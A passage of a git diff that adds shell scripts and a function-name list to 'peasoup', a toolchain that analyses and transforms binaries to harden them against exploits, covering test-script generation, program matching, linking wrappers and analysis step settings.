+echo "\$PEASOUP_HOME/tools/manual_cover.sh $TEST_ORIG_COVERAGE/executed_addresses.txt -- $CMD" >> $TEST_ORIG_CMD_SCRIPT
+
+ln -s $PWD/a.ncexe $TEST_SPEC_DIR/$PROG 
+
+#---------------------------------------
+# Transformed cmd/program
+#---------------------------------------
+#
+# create script to run transformed command
+#
+touch $TEST_XFORMED_CMD_SCRIPT
+
+echo "#!/bin/sh" >> $TEST_XFORMED_CMD_SCRIPT
+
+# cleanup input/output files
+for i in $INFILES
+do
+  echo " rm $i 2>/dev/null" >> $TEST_XFORMED_CMD_SCRIPT
+done
+
+for i in $OUTFILES
+do
+  echo " rm $i 2>/dev/null" >> $TEST_XFORMED_CMD_SCRIPT
+  echo " rm $TEST_XFORMED_OUTPUT_DIR/$i 2>/dev/null" >> $TEST_XFORMED_CMD_SCRIPT
+done
+
+for i in $CLEANUP
+do
+  echo " rm $i 2>/dev/null" >> $TEST_XFORMED_CMD_SCRIPT
+  echo " rm $TEST_XFORMED_OUTPUT_DIR/$i 2>/dev/null" >> $TEST_XFORMED_CMD_SCRIPT
+done
+
+# cleanup any old exit status code
+echo " rm $TEST_XFORMED_EXIT_CODE_FILE 2>/dev/null" >> $TEST_XFORMED_CMD_SCRIPT
+
+# stage in input (if any)
+for i in $INFILES
+do
+  echo " cp $SPEC_INPUT_DIR/$i ." >> $TEST_XFORMED_CMD_SCRIPT
+done
+
+# run command (check for seg faults)
+# @todo: we should really register the program exit code and check against it
+echo "STRATA_SPRI_FILE=\$1 timeout $TEST_TIMEOUT setarch i386 -RL $CMD" >> $TEST_XFORMED_CMD_SCRIPT
+echo "status=\$?" >> $TEST_XFORMED_CMD_SCRIPT
+echo "echo \$status" >> $TEST_XFORMED_CMD_SCRIPT
+
+if [ ! -z $EXIT_CODE ]; then
+	echo "echo \$status > $TEST_XFORMED_EXIT_CODE_FILE" >> $TEST_XFORMED_CMD_SCRIPT
+	echo "echo expected exit status: $EXIT_CODE" >> $TEST_XFORMED_CMD_SCRIPT
+fi
+
+echo "if [ \$status -eq 139 ]; then" >> $TEST_XFORMED_CMD_SCRIPT
+echo "  exit \$status" >> $TEST_XFORMED_CMD_SCRIPT
+echo "fi" >> $TEST_XFORMED_CMD_SCRIPT
+
+# stage/move output files (if any)
+for i in $OUTFILES
+do
+  echo " mv $i $TEST_XFORMED_OUTPUT_DIR" >> $TEST_XFORMED_CMD_SCRIPT
+done
+
+echo " exit \$status" >> $TEST_XFORMED_CMD_SCRIPT
+
+chmod +x $TEST_XFORMED_CMD_SCRIPT
+
+cp $PEASOUP_HOME/tools/run_stratafied.tmpl.sh $TEST_DIR_XFORMED/$PROG
+chmod +x $TEST_DIR_XFORMED/$PROG
+chmod +x $TEST_ORIG_CMD_SCRIPT
+
+
diff --git a/peasoup_examples/tools/match_program.sh b/peasoup_examples/tools/match_program.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7948b49608fc60a2ab177798af71dc78428d784e
--- /dev/null
+++ b/peasoup_examples/tools/match_program.sh
@@ -0,0 +1,54 @@
+#!/bin/sh 
+
+abs () {
+	# Check for numeric input
+	if expr $1 + 0 2>/dev/null 1>&2 ; then
+		# Is the number negative?
+		if [ $1 -lt 0 ] ; then
+			echo `expr 0 - $1`
+		else
+			echo $1
+		fi
+		return 0 # OK
+	else
+		return 1 # Not a number
+	fi
+}
+
+
+
+$PEASOUP_HOME/tools/make_prog_signature.sh a.ncexe a.ncexe.strsig
+
+lines1=`cat a.ncexe.strsig| wc -l `
+best_score=101
+second_best=101
+best_file=""
+
+#echo score diffs lines1 lines2 filename
+for i in `find $PEASOUP_HOME/tools/db/ -print|egrep ".strsig$"`
+do
+	num_diffs=`diff -U 0 $i a.ncexe.strsig |grep -v "^@" |wc -l`
+	lines2=`cat $i | wc -l `
+	
+	best=`expr $num_diffs \* 100 / \( $lines1 + $lines2 \) `
+
+	if [ $best -lt 30 ]; then 
+		echo $best $num_diffs $lines1 $lines2 $i
+	fi
+
+	if [ $best -le $best_score ]; then
+		#echo found new best $i
+		second_best=$best_score
+		second_file=$best_file
+		best_score=$best
+		best_file=$i
+	fi
+done
+
+# check for a good match
+if [ $best_score -lt 30 ]; then
+	echo "Program is a version of '$(basename $best_file .strsig)'"
+else
+	echo Could not determine program.
+fi
+
diff --git a/peasoup_examples/tools/my_timeout.sh b/peasoup_examples/tools/my_timeout.sh
new file mode 100755
index 0000000000000000000000000000000000000000..252dd9ee204026332c0957fcc65cb25c64e536b8
--- /dev/null
+++ b/peasoup_examples/tools/my_timeout.sh
@@ -0,0 +1,21 @@
+#!/bin/bash  -x
+
+# The use of timeout differs depending on the version of linux.
+# This is a quick hack to determine how timeout should be envoked
+# to send a sigusr1.
+
+alias
+
+
+time=$1
+shift
+
+if $PS_TIMEOUT --help | grep --quiet -- "--signal=SIGNAL"
+then
+
+	$PS_TIMEOUT --signal=sigusr1 $time "$@"
+
+else
+	$PS_TIMEOUT -10 $time "$@"
+
+fi
diff --git a/peasoup_examples/tools/objdiff.sh b/peasoup_examples/tools/objdiff.sh
new file mode 100755
index 0000000000000000000000000000000000000000..fe223730a89a2fd0944a79ac0298f5aa99ce0afc
--- /dev/null
+++ b/peasoup_examples/tools/objdiff.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+firstfile="$1"
+secondfile="$2"
+
+
+objdump -d $firstfile > $firstfile.dis
+objdump -d $secondfile > $secondfile.dis
+
+sdiff -w 200 $firstfile.dis $secondfile.dis
+
+
diff --git a/peasoup_examples/tools/p1xform.filter.deprecated.sh b/peasoup_examples/tools/p1xform.filter.deprecated.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a6df437cfdda4c9fcf1b92783504ac07c0b27198
--- /dev/null
+++ b/peasoup_examples/tools/p1xform.filter.deprecated.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+#
+# Filter out functions we know we don't want to P1 transform
+#
+# The common use case is to filter out libc functions
+#
+# $1 is a file containing a list of potential functions to transforms
+# $2 is a file containing a list of functions not to transforms, e.g., names of libc functions
+#
+# Output: 
+#   (stdout) list of functions in $1 that are not in $2
+#
+
+CANDIDATE_FUNCTIONS=$1
+FILTER_SET=$2
+
+while read fn;
+do
+  grep "^$fn$" $FILTER_SET >/dev/null 2>/dev/null
+  if [ ! $? -eq 0 ]; then
+    echo $fn
+  fi
+done < $CANDIDATE_FUNCTIONS
+
diff --git a/peasoup_examples/tools/p1xform.pbed.deprecated.sh b/peasoup_examples/tools/p1xform.pbed.deprecated.sh
new file mode 100755
index 0000000000000000000000000000000000000000..77e38bf53fbd38adfb8e9989936de2380c09e042
--- /dev/null
+++ b/peasoup_examples/tools/p1xform.pbed.deprecated.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+#
+# Generate file containing list of good functions
+#
+# $1 is a file containing list of functions to test
+# $2 specifies directory with the inputs found by GrACE
+# $3 specifies directory containing all the assembly SPRI rules
+# $4 specifies directory containing all the binary SPRI rules
+#
+# Output: 
+#   File with list of good functions
+#
+
+
+P1DIR=$1        # top-level P1 xform directory 
+FNS=$2          # file containing name of functions to evaluate
+INPUT_DIR=$3    # directory with inputs
+BSPRI_DIR=$4    # directory with binary SPRI rules
+P1_GOOD_FILE=$5 # final output file containing list of transformed functions
+
+touch $P1_GOOD_FILE
+
+echo "=========================================="
+echo "Running p1xform.pbed.sh"
+echo "P1DIR=$1"
+echo "FNS=$2" 
+echo "INPUT_DIR=$3"
+echo "BSPRI=$4"
+echo "------------------------------------------"
+echo "Output File: $P1_GOOD_FILE"
+echo "=========================================="
+
+while read fn;
+do
+  echo "Checking for divergence on function $fn"
+
+  BSPRI_GOOD="$BSPRI_DIR/p1.$fn.bspri"
+
+  $PEASOUP_HOME/tools/ps_validate_ss.sh ./a.ncexe ./a.stratafied $BSPRI_GOOD 
+  if [ ! $? -eq 0 ]; then
+    continue
+  fi
+
+  $PEASOUP_HOME/tools/ps_validate.sh ./a.stratafied $BSPRI_GOOD $INPUT_DIR replay.baseline
+  if [ $? -eq 0 ]; then
+    echo $fn >> $P1_GOOD_FILE
+  fi
+
+done < $FNS
+
diff --git a/peasoup_examples/tools/p1xform_v2.sh b/peasoup_examples/tools/p1xform_v2.sh
new file mode 100755
index 0000000000000000000000000000000000000000..196bfb86d1213e1ad1d7ff18d5199f6e15b7fefb
--- /dev/null
+++ b/peasoup_examples/tools/p1xform_v2.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+
+#
+# This is the main driver script for the P1 transform
+# Run this script from top-level directory created by the peasoup script
+#
+
+TOP_LEVEL=`pwd`
+
+variantid=$1
+aspri=$2
+bspri=$3
+
+P1_DIR=p1.xform/$fname
+
+#generate the bspri code
+$SECURITY_TRANSFORMS_HOME/bin/spasm $aspri $bspri $TOP_LEVEL/a.ncexe $TOP_LEVEL/stratafier.o.exe $TOP_LEVEL/libstrata.so.symbols
+
+if [ $? -ne 0 ]; then
+	echo "Spasm failure in performing validation"
+	exit 3
+fi
+
+$PEASOUP_HOME/tools/fast_spri.sh $bspri $TOP_LEVEL/a.irdb.fbspri
+
+#
+# remove any candidate functions not covered
+# this will go away once GrACE gives us the instruction coverage information
+#
+CONCOLIC=$TOP_LEVEL/concolic.files_a.stratafied_0001
+
+echo "====================================================="
+echo "P1: Validating transformed binary..."
+echo "====================================================="
+if [ -f $bspri ]; then
+  $PEASOUP_HOME/tools/ps_validate.sh ${TOP_LEVEL}/a.stratafied $TOP_LEVEL/a.irdb.fbspri $CONCOLIC > ps_validate.out 2> ps_validate.err
+  if [ $? -eq 0 ]; then
+      echo "Successfully validated p1-transformed functions against inputs"
+      exit 0;
+  else
+      echo "Did not successfully validate p1-transformed functions against inputs"
+      exit 1;
+  fi
+else
+    echo "Unable to use p1 transform -- no rules produced"
+    exit 2;
+fi
+
diff --git a/peasoup_examples/tools/peasoup_link b/peasoup_examples/tools/peasoup_link
new file mode 100755
index 0000000000000000000000000000000000000000..e5c28b965e7686ebfc94c8a7a1502458cd485bc2
--- /dev/null
+++ b/peasoup_examples/tools/peasoup_link
@@ -0,0 +1,61 @@
+#!/bin/sh
+
+
+if [ "X${TOOLCHAIN}" = "X" ]; then 
+	echo TOOLCHAIN environment variable should be set.; 
+	exit -1;
+elif [ "X${STRATA}" = "X" ]; then 
+	echo STRATA environment variable should be set. ;
+	exit -1;
+elif [ "X${NICECAP_HOME}" = "X" ]; then 
+	echo NICECAP_HOME environment variable should be set.; 
+	exit -1;
+elif [ "X${STRATA_HOME}" = "X" ]; then 
+	echo STRATA_HOME environment variable should be set.; 
+	exit -1;
+elif [ "X${STRATAFIER}" = "X" ]; then 
+	echo STRATAFIER environment variable should be set.; 
+	exit -1;
+fi ;
+
+next=0
+for i in  $*; do
+
+        if [ $next = 1 ]; then
+                exe=$i
+                break
+        fi
+
+        if [ $i = -o ]; then
+                next=1
+        fi
+
+done
+
+echo exe is $exe
+
+
+# generate the executeable 
+gcc -Bstatic -static $*
+
+if [ ! -f $exe ] 
+then
+	echo Failed to link exe $exe	
+	exit -1
+fi
+mv $exe $exe.ncexe
+
+
+#echo SPEC=$SPEC
+#
+## Note, we skip the SMP-analyze part if we're running spec... that's done from run_strata.sh
+#if [ ! $SPEC"X" = "X" ]
+#then
+#	${SMPSA_HOME}/SMP-analyze.sh $exe.ncexe
+#	if [ ! -f $exe.ncexe.annot ]; then echo Failed to generate annotations file; exit -2; fi
+#fi
+
+${STRATAFIER}/do_stratafy.sh $exe.ncexe
+mv new.exe $exe.stratafied
+${PEASOUP_HOME}/tools/generate_exe.sh $exe $PWD/$exe.stratafied $PWD/$exe.ncexe $PWD/$exe.ncexe.annot
+
diff --git a/peasoup_examples/tools/peasoup_link++ b/peasoup_examples/tools/peasoup_link++
new file mode 100755
index 0000000000000000000000000000000000000000..ff6ae83f18cfa9b85fb2d9a0072517bb3f32296c
--- /dev/null
+++ b/peasoup_examples/tools/peasoup_link++
@@ -0,0 +1,61 @@
+#!/bin/sh
+
+
+if [ "X${TOOLCHAIN}" = "X" ]; then 
+	echo TOOLCHAIN environment variable should be set.; 
+	exit -1;
+elif [ "X${STRATA}" = "X" ]; then 
+	echo STRATA environment variable should be set. ;
+	exit -1;
+elif [ "X${NICECAP_HOME}" = "X" ]; then 
+	echo NICECAP_HOME environment variable should be set.; 
+	exit -1;
+elif [ "X${STRATA_HOME}" = "X" ]; then 
+	echo STRATA_HOME environment variable should be set.; 
+	exit -1;
+elif [ "X${STRATAFIER}" = "X" ]; then 
+	echo STRATAFIER environment variable should be set.; 
+	exit -1;
+fi ;
+
+next=0
+for i in  $*; do
+
+        if [ $next = 1 ]; then
+                exe=$i
+                break
+        fi
+
+        if [ $i = -o ]; then
+                next=1
+        fi
+
+done
+
+echo exe is $exe
+
+
+# generate the executeable 
+g++ -Bstatic -static $*
+
+if [ ! -f $exe ] 
+then
+	echo Failed to link exe $exe	
+	exit -1
+fi
+mv $exe $exe.ncexe
+
+
+#echo SPEC=$SPEC
+#
+## Note, we skip the SMP-analyze part if we're running spec... that's done from run_strata.sh
+#if [ ! $SPEC"X" = "X" ]
+#then
+#	${SMPSA_HOME}/SMP-analyze.sh $exe.ncexe
+#	if [ ! -f $exe.ncexe.annot ]; then echo Failed to generate annotations file; exit -2; fi
+#fi
+
+${STRATAFIER}/do_stratafy.sh $exe.ncexe
+mv new.exe $exe.stratafied
+${PEASOUP_HOME}/tools/generate_exe.sh $exe $PWD/$exe.stratafied $PWD/$exe.ncexe $PWD/$exe.ncexe.annot
+
diff --git a/peasoup_examples/tools/pn_spec_always_only_validate.txt b/peasoup_examples/tools/pn_spec_always_only_validate.txt
new file mode 100644
index 0000000000000000000000000000000000000000..35a368c109e7d7baf4648981650f197987b12cb6
--- /dev/null
+++ b/peasoup_examples/tools/pn_spec_always_only_validate.txt
@@ -0,0 +1,380 @@
+MAIN_parseCommandLine
+MAIN_printInfo
+BZ2_decompress
+fallbackSort
+BZ2_hbMakeCodeLengths
+BZ2_compressBlock
+quantum_bmeasure
+main
+quantum_hadamard
+muln
+quantum_cond_phase
+quantum_gate1
+main
+think
+search
+comp_to_san
+display_board
+run_autotest
+search_root
+qsearch
+add_basic_path
+make_loop_table
+imp_gauge_force
+char_num
+f_meas_imp
+dslash_fn
+load_longlinks
+eo_fermion_force
+g_measure
+coldlat
+mult_adj_su3_mat_4vec
+ploop
+main
+dict_read
+vithist_rescore
+subvq_init
+mdef_init
+bio_readhdr
+std_eval
+unlimit
+build_binary_op
+handle_format_attribute
+append_include_chain
+simplify_shift_const
+do_jump
+expand_expr
+fold_truthop
+assign_parms
+gen_peephole2_1253
+gen_peephole2_858
+maybe_read_dollar_number
+check_format_info_main
+decode_format_attr
+handle_format_attribute
+check_function_format
+left_shift
+_cpp_parse_expr
+_cpp_simplify_pathname
+remove_dup_dir
+append_include_chain
+cpp_handle_option
+bitmap_ior_and_compl
+bitmap_equal_p
+bitmap_copy
+flow_depth_first_order_compute
+connect_infinite_loops_to_exit
+add_noreturn_fake_exit_edges
+simplify_shift_const
+conflict_graph_print
+print_conflict
+conflict_graph_conflict_p
+conflict_graph_add
+fold_rtx
+equiv_constant
+record_jump_equiv
+invalidate
+flush_hash_table
+cse_basic_block
+cse_main
+references_value_p
+cselib_record_sets
+calculate_dominance_info
+eh_data_format_name
+sub_80E04D0
+add_sibling_attributes
+def_cfa_1
+dwarf2out_frame_debug_expr
+dwarf2out_frame_debug
+dwarf2out_def_cfa
+gen_label_rtx
+get_mem_attrs
+offset_address
+gen_rtx_CONST_INT
+copy_to_suggested_reg
+force_not_mem
+round_push
+mode_for_extraction
+expand_mult_highpart_adjust
+choose_multiplier
+do_cmp_and_jump
+mask_rtx
+expand_mult
+expand_mult_highpart
+expand_divmod
+extract_split_bit_field
+store_field
+store_constructor_field
+expand_expr
+emit_block_move
+expand_assignment
+expand_increment
+do_jump
+do_store_flag
+clear_storage
+free_expr_status
+leaf_function_p
+split_double
+asm_fprintf
+output_asm_insn
+initialize_uninitialized_subregs
+delete_noop_moves
+size_int_wide
+make_bit_field_ref
+mul_double
+div_and_round_double
+T.564
+T.563
+extract_muldiv
+fold
+build_range_check
+decode_field_reference
+fold_truthop
+compute_insns_for_mem
+insns_for_mem_walk
+setjmp_protect
+assign_parms
+oprs_unchanged_p
+delete_null_pointer_checks
+ggc_mark_tree_ptr
+ggc_mark_rtx_children_1
+ggc_mark_rtx_children
+rank_for_schedule
+schedule_block
+hash_lookup
+hash_traverse
+hash_allocate
+hash_newfunc
+find_if_header
+get_attr_type
+gen_split_869
+gen_movdf
+gen_movsf
+gen_movdi
+gen_movqi
+gen_movhi
+gen_movsi
+gen_peephole2_1258
+gen_peephole2_1257
+gen_peephole2_1253
+gen_peephole2_858
+gen_movtfcc
+gen_movxfcc
+gen_movdfcc
+gen_movhicc
+gen_movsicc
+gen_movdicc
+memrefs_conflict_p
+gen_lshrqi3
+build_binary_op
+maybe_read_dollar_number
+check_format_info_main
+decode_format_attr
+handle_format_attribute
+check_function_format
+main
+left_shift
+_cpp_parse_expr
+_cpp_simplify_pathname
+remove_dup_dir
+append_include_chain
+cpp_handle_option
+memrefs_conflict_p
+bitmap_ior_and_compl
+bitmap_equal_p
+bitmap_copy
+flow_depth_first_order_compute
+connect_infinite_loops_to_exit
+add_noreturn_fake_exit_edges
+simplify_shift_const
+conflict_graph_print
+print_conflict
+conflict_graph_conflict_p
+conflict_graph_add
+fold_rtx
+equiv_constant
+record_jump_equiv
+invalidate
+flush_hash_table
+cse_basic_block
+cse_main
+references_value_p
+cselib_record_sets
+calculate_dominance_info
+eh_data_format_name
+sub_80E04D0
+add_sibling_attributes
+def_cfa_1
+dwarf2out_frame_debug_expr
+dwarf2out_frame_debug
+dwarf2out_def_cfa
+gen_label_rtx
+get_mem_attrs
+offset_address
+gen_rtx_CONST_INT
+copy_to_suggested_reg
+force_not_mem
+round_push
+mode_for_extraction
+expand_mult_highpart_adjust
+choose_multiplier
+do_cmp_and_jump
+mask_rtx
+expand_mult
+expand_mult_highpart
+expand_divmod
+extract_split_bit_field
+store_field
+store_constructor_field
+expand_expr
+emit_block_move
+expand_assignment
+expand_increment
+do_jump
+do_store_flag
+clear_storage
+free_expr_status
+leaf_function_p
+split_double
+asm_fprintf
+output_asm_insn
+initialize_uninitialized_subregs
+delete_noop_moves
+size_int_wide
+make_bit_field_ref
+mul_double
+div_and_round_double
+T.564
+T.563
+extract_muldiv
+fold
+build_range_check
+decode_field_reference
+fold_truthop
+compute_insns_for_mem
+insns_for_mem_walk
+setjmp_protect
+assign_parms
+oprs_unchanged_p
+delete_null_pointer_checks
+ggc_mark_tree_ptr
+ggc_mark_rtx_children_1
+ggc_mark_rtx_children
+rank_for_schedule
+schedule_block
+hash_lookup
+hash_traverse
+hash_allocate
+hash_newfunc
+find_if_header
+get_attr_type
+gen_split_869
+gen_movdf
+gen_movsf
+gen_movdi
+gen_movqi
+gen_movhi
+gen_movsi
+gen_peephole2_1258
+gen_peephole2_1257
+gen_peephole2_1253
+gen_peephole2_858
+gen_movtfcc
+gen_movxfcc
+gen_movdfcc
+gen_movhicc
+gen_movsicc
+gen_movdicc
+gen_lshrqi3
+gen_lshrsi3
+gen_ashrsi3
+gen_ashlqi3
+gen_ashlsi3
+gen_xorsi3
+gen_xordi3
+gen_iorqi3
+gen_iorsi3
+gen_iordi3
+gen_andqi3
+gen_andhi3
+gen_andsi3
+gen_anddi3
+gen_subsi3
+gen_subdi3
+gen_addqi3
+gen_addhi3
+gen_addsi3
+gen_adddi3
+gen_lshrdi3
+gen_ashrdi3
+gen_ashldi3
+gen_one_cmplsi2
+gen_one_cmpldi2
+gen_negsi2
+gen_negdi2
+try_copy_prop
+scan_loop
+m16m
+emulm
+e53toe
+e24toe
+ultoe
+eadd1
+emul
+ediv
+etoe24
+etoe53
+eldexp
+euifrac
+ereal_from_int
+ereal_cmp
+etarsingle
+etardouble
+target_isnan
+ereal_to_int
+ereal_from_double
+ereal_from_float
+ereal_negate
+earith
+ereal_atof
+peep2_find_free_register
+validate_replace_src
+compensate_edge
+convert_regs_2
+combine_stack_adjustments
+find_matches
+regmove_optimize
+regrename_optimize
+safe_from_earlyclobber
+find_reloads
+finish_spills
+choose_reload_regs_init
+reload
+set_of
+schedule_insns
+simplify_plus_minus
+simplify_binary_operation
+check_hard_regs_in_partition
+convert_from_ssa
+rename_block
+type_hash_lookup
+build_real_from_int_cst
+real_value_from_int_cst
+optimize_inline_calls
+default_elf_asm_named_section
+simplify_subtraction
+assemble_real
+memory_address_length
+ix86_address_cost
+memory_displacement_operand
+print_operand_address
+print_operand
+legitimate_address_p
+ix86_expand_epilogue
+ix86_initial_elimination_offset
+ix86_can_use_return_insn_p
+ix86_expand_prologue
+aligned_operand
+
+
+
diff --git a/peasoup_examples/tools/ps_analyze-ilronly.sh b/peasoup_examples/tools/ps_analyze-ilronly.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6dc0dc0e0a1bf522b5aa4d74ccb5a3e0737e0b38
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze-ilronly.sh
@@ -0,0 +1,30 @@
+#!/bin/sh
+
+
+TVHEADLESS=1 $PEASOUP_HOME/tools/ps_analyze.sh $* \
+		--step ilr=on\
+		--step preLoaded_ILR=on\
+		--step stratafy_with_pc_confine=on\
+		--step create_binary_script=on\
+		--step heaprand=off\
+		--step concolic=off\
+		--step double_free=off\
+		--step pc_confine=off\
+		--step isr=off\
+		--step meds_static=on\
+		--step pdb_register=on\
+		--step pdb_create_tables=on\
+		--step meds2pdb=on\
+		--step fill_in_cfg=on\
+		--step fill_in_indtargs=on\
+		--step clone=on\
+		--step fix_calls=on\
+		--step p1transform=off\
+		--step integertransform=off\
+		--step generate_spri=on\
+		--step spasm=on\
+		--step appfw=off\
+		--step watchdog=off\
+        	--step signconv_func_monitor=off
+
+
diff --git a/peasoup_examples/tools/ps_analyze-lib.sh b/peasoup_examples/tools/ps_analyze-lib.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f89325a12df64c424f1acfab649fa174d1b371da
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze-lib.sh
@@ -0,0 +1,25 @@
+#!/bin/sh
+
+
+TVHEADLESS=1 $PEASOUP_HOME/tools/ps_analyze.sh $*                 \
+	--step stratafy_with_pc_confine=off \
+	--step create_binary_script=off \
+	--step concolic=off \
+	--step heaprand=off                 \
+	--step double_free=off                 \
+	--step pc_confine=off                 \
+	--step isr=off                 \
+	--step meds_static=on                 \
+	--step pdb_register=on                 \
+	--step pdb_create_tables=on                 \
+	--step meds2pdb=on                 \
+	--step fill_in_cfg=on                 \
+	--step fill_in_indtargs=on                 \
+	--step clone=on                 \
+	--step fix_calls=on                 \
+	--step p1transform=on                 \
+	--step integertransform=on                 \
+	--step ilr=on                 \
+	--step generate_spri=on                 \
+	--step spasm=on 			\
+	--step copy_exe=off
diff --git a/peasoup_examples/tools/ps_analyze.sh b/peasoup_examples/tools/ps_analyze.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ab663d0d6a379df57f92f43ec7ad87d0a027d64b
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze.sh
@@ -0,0 +1,1283 @@
+#!/bin/bash
+#
+# ps_analyze.sh - analyze a program and transform it for peasoupification to prevent exploit.
+#
+# This script depends on having many environment variables defined, but it should check that they are defined properly for you.
+#
+# Usage:
+#     peasoup_analyze.sh <original_binary> <new_binary> <options>
+#
+
+source $(dirname $0)/ps_wrapper.source $0
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$SECURITY_TRANSFORMS_HOME/lib
+
+realpath() 
+{
+  \cd "$1"
+  /bin/pwd
+}
+
+init_globals()
+{
+
+
+	##################################################################################
+
+	ulimit -s unlimited > /dev/null 2>&1 || true
+
+	# default watchdog value is 30 seconds
+	#watchdog_val=30
+	errors=0
+	warnings=0
+
+	# record statistics in database?
+	record_stats=0
+
+	export backend=strata
+
+	# 
+	# set default values for 
+	#
+
+	#CONCOLIC_DIR=concolic.files_a.stratafied_0001
+
+	# JOBID
+
+
+	user_critical_steps=""
+
+	# 
+	# By default, big data approach is off
+	# To turn on the big data approach: modify check_options()
+	#
+
+	# alarm handler
+	THIS_PID=$$
+
+	#
+	# turn off runtime protections for BED. turn off runtime prrotections for BED. turn off runtime prrotections for BED.
+	#
+	STRATA_DOUBLE_FREE=0
+	STRATA_HEAPRAND=0
+	STRATA_PC_CONFINE=0
+	STRATA_PC_CONFINE_XOR=0
+
+	#
+	# set the threshold value.  if a step errors with a more severe error (1=most severe, >1 lesser severe)
+	# than the error_threshold, we exit.
+	#
+	error_threshold=0
+
+	#
+	# record when we started processing:
+	#
+	ps_starttime=$($PS_DATE)
+
+
+	#
+	# stepnum used for counting how many steps peasoup executes
+	# 
+	stepnum=0
+
+
+	#
+	# set library path for shared library builds
+	#
+	export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:$SECURITY_TRANSFORMS_HOME/lib"
+
+
+	#
+	# Remember the last step or step option we parsed, so we can apply future option parsing
+	#
+	last_step_parsed=""
+
+}
+handle_alarm()
+{
+	# reset handler
+	trap - ALRM
+
+	#
+	# create a report for all of ps_analyze.
+	#
+	report_logs
+
+	# go back to original directory
+	cd - > /dev/null 2>&1
+
+	# stop ps_analyze
+	kill -9 $THIS_PID
+
+	# exit timer process: SIGALRM + 128
+	exit 142
+}
+
+set_timer()
+{
+	# set handler
+	trap "handle_alarm" ALRM
+
+	# wait
+	sleep $1& wait
+
+	# signal the alarm
+	kill -ALRM $$
+}
+
+fail_gracefully()
+{
+	if [ ! -z $TIMER_PID ]; then
+		kill -9 $TIMER_PID
+	fi
+	echo $1
+	echo
+	# display usage too.
+	usage
+	exit 255
+}
+
+adjust_lib_path()
+{
+	NEWPATH=
+	for i in `echo $LD_LIBRARY_PATH | sed 's/:/ /g'`
+	do
+		alp_newdir=`realpath $i	 2> /dev/null`
+		if [ $? = 0  ] ; then 
+			NEWPATH=$NEWPATH:$alp_newdir
+		fi
+	done
+
+
+	# also, add newdir to the ld-library path for analysis.
+	export LD_LIBRARY_PATH=$NEWPATH:$PWD/$newdir
+}
+
+check_step_option()
+{
+	local step_specifier="$1"
+	local specifies_step_on=0;
+	local specifies_step_off=0;
+
+	# check if step is specified to be off
+	echo $step_specifier|egrep "=off$" > /dev/null
+	if [[ $? -eq 0 ]]
+	then
+		specifies_step_off=1
+	fi
+
+	# check if step is specified to be on
+	echo $step_specifier|egrep "=on$" > /dev/null
+	if [[ $? -eq 0 ]] 
+	then
+		specifies_step_on=1
+	fi
+
+	# if user didn't specify, sanity check further 
+	if [[ $specifies_step_on -eq 0 ]] && [[ $specifies_step_off -eq 0 ]]
+	then
+		echo $step_specifier|egrep "=" > /dev/null
+		if [[ $? -eq 0 ]]; then
+			echo "Malformed option (cannot contain = sign): $1"
+			exit -4;
+		fi
+
+		# no other odd = things, just go ahead and default to on
+		step_specifier="${step_specifier}=on"
+		specifies_step_on=1
+	fi
+
+	step_name=${step_specifier%%=*}
+
+	echo "$phases_spec"|egrep " $step_name=off " > /dev/null
+	local found_off_res=$?
+	echo "$phases_spec"|egrep " $step_name=on " > /dev/null
+	local found_on_res=$?
+	if [[ $specifies_step_on -eq 1 ]] && [[ $found_off_res -eq 0 ]];  then
+		echo "Step $step_name specified as both on and off"
+		exit -4
+	elif [[ $specifies_step_off -eq 1 ]] && [[ $found_on_res -eq 0 ]];  then
+		echo "Step $step_name specified as both on and off"
+		exit -4
+	elif [[ $specifies_step_on -eq 1 ]] && [[ $found_on_res -eq 0 ]];  then
+		echo "Step $step_name specified on multiple times"
+		exit -4
+	elif [[ $specifies_step_off -eq 1 ]] && [[ $found_off_res -eq 0 ]];  then
+		echo "Step $step_name specified off multiple times"
+		exit -4
+	else
+		phases_spec=" $phases_spec $step_specifier "
+	fi
+
+
+	# remember for future option parsing
+	last_step_parsed=$step_name
+}
+
+
+set_step_option()
+{
+	step=`echo "$1" | cut -d: -f1` 
+	option=`echo "$1" | cut -s -d: -f2-` 
+	no_delim_option=`echo "$1" | cut -d: -f99999-` 
+
+	if [[ ! -z $no_delim_option ]]; then
+		echo "Detected elided step option in $1"
+		set_step_option "$last_step_parsed:$no_delim_option"
+		return $?
+	fi
+
+	# echo "Found step-option for '$step':'$option'"
+	if [[ -z "$option" ]]; then
+		echo "Cannot parse step:option pair out of '$1'"
+		exit 2
+	fi
+	last_step_parsed="$step"
+
+	#
+	# this sets step_options_$step to have the new option
+	# you can now, when writing your step, just add $step_options_<stepname> where you want the options passed to your step.
+	#
+	var="step_options_$step"
+	old_value="${!var}"
+	new_value="$old_value $option"
+	eval "step_options_$step=\"$new_value\""
+}
+
+usage()
+{
+	echo "Protect an input program, generating a new executable."
+	echo "ps_analyze.sh <input> <output> <options>  "
+	echo 
+	echo "Where options can be any of"
+	echo "   --step <stepname>=(on|off) 		Turn the <stepname> step on or off"
+	echo "   -s <stepname>=(on|off)			Same as --step"
+	echo "   --critical-step <stepname>=(on|off)    Same as --step, but exits with error code if step fails."
+	echo "   -c <stepname>=(on|off)    		Same as --critical-step"
+	echo "   --step-option <stepname>:<option>	Pass additional option to step <stepname>"
+	echo "   -o <stepname>:<option>			Same as --step-option"
+	echo "   --timeout				Specify a timeout for ps_analyze.sh."
+	echo "   -t					Same as --timeout"
+	echo "   --watchdog				Specify a watchdog timer for the protected program."
+	echo "   -w					Same as --watchdog"
+	echo "   --help					Print this page."
+	echo "   --usage				Same as --help"
+	echo "   --id <jobid>				Unsupported.  Ask an7s."
+	echo "   --name <dbname>			Unsupported.  Ask an7s."
+	echo "   --manual_test_script <scriptname>	Specify how to test to the program.  API documentation incomplete."
+	echo "   --manual_test_coverage_file <file>	Specify a profile for the program.  API documentation incomplete."
